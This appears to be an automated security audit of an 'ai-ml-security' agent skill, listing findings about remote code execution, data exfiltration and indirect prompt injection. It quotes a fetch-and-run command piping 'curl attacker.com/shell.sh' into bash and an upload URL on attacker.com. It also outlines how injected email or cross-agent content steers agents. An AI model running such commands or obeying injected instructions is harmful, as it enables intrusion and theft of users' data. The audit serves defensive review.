The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides a functional Python example in Section 1.1 that creates a malicious pickle file designed to execute a shell command via curl attacker.com/shell.sh | bash. This pattern is a direct implementation of remote code execution.
[DATA_EXFILTRATION]: Section 7.1 contains a specific example of data exfiltration where an agent is instructed to read local file contents and upload them to a remote server at https://attacker.com/upload?file=/tmp/exfil.txt. This URL was also flagged as malicious/phishing by automated scanners.
[COMMAND_EXECUTION]: The skill documents the use of os.system to run arbitrary shell commands and identifies tools like exec() as critical risks in agent workflows.
[DYNAMIC_EXECUTION]: Section 1.1 and 1.2 provide detailed instructions on exploiting Python's pickle module and PyTorch model loading mechanisms to achieve arbitrary code execution during deserialization.
[INDIRECT_PROMPT_INJECTION]: Section 7 provides a comprehensive analysis of the attack surface for indirect prompt injection in autonomous agents.
Ingestion points: Untrusted data enters via email bodies (Section 7.1) or cross-agent communication (Section 7.2).
Boundary markers: The examples demonstrate a complete lack of delimiters or sanitization between instructions and data.
Capability inventory: Lists capabilities such as file_write, web_search, exec(), and shell command execution (Section 7.1, 7.3).
Sanitization: Notes that agents often communicate without sanitization, leading to trust boundary crossing.

ai-ml-security